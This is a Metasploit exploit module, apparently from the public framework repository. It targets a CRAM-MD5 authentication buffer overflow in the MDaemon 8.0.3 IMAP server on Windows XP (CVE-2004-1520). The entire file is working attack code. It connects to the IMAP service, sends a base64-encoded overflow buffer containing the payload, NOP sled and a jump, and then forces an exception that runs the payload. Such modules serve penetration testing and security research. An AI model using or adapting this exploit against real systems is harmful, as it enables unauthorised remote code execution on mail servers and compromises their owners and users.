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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GreatRanking
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  include Msf::Exploit::Remote::Imap
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Mdaemon 8.0.3 IMAPD CRAM-MD5 Authentication Overflow',
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        'Description' => %q{
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          This module exploits a buffer overflow in the CRAM-MD5
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          authentication of the MDaemon IMAP service. This
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          vulnerability was discovered by Muts.
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        },
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        'Author' => [ 'Unknown' ],
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        'License' => BSD_LICENSE,
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        'References' => [
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          [ 'CVE', '2004-1520'],
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          [ 'OSVDB', '11838'],
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          [ 'BID', '11675'],
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        ],
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        'Privileged' => true,
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        'DefaultOptions' => {
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          'EXITFUNC' => 'process',
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        },
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        'Payload' => {
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          'Space' => 500,
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          'BadChars' => "\x00",
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          'StackAdjustment' => -3500,
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        },
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        'Platform' => 'win',
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        'Targets' => [
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          [ 'MDaemon IMAP 8.0.3 Windows XP SP2', {} ],
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        ],
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        'DisclosureDate' => '2004-11-12',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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  end
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  def exploit
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    connect
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    print_status("Asking for CRAM-MD5 authentication...")
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    sock.put("a001 authenticate cram-md5\r\n")
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    res = sock.get_once
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    print_status("Received CRAM-MD5 answer: #{res.chomp}")
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    # Magic no return-address exploitation ninjaness!
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    buf = 'AAAA' + payload.encoded + make_nops(258) + "\xe9\x05\xfd\xff\xff"
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    req = Rex::Text.encode_base64(buf) + "\r\n"
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    sock.put(req)
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    res = sock.get_once
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    print_status("Received authentication reply: #{res.chomp}")
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    print_status("Sending LOGOUT to close the thread and trigger an exception")
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    sock.put("a002 LOGOUT\r\n")
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    res = sock.get_once
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    print_status("Received LOGOUT reply: #{res.chomp}")
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    select(nil, nil, nil, 1)
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    handler
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    disconnect
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  end
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end
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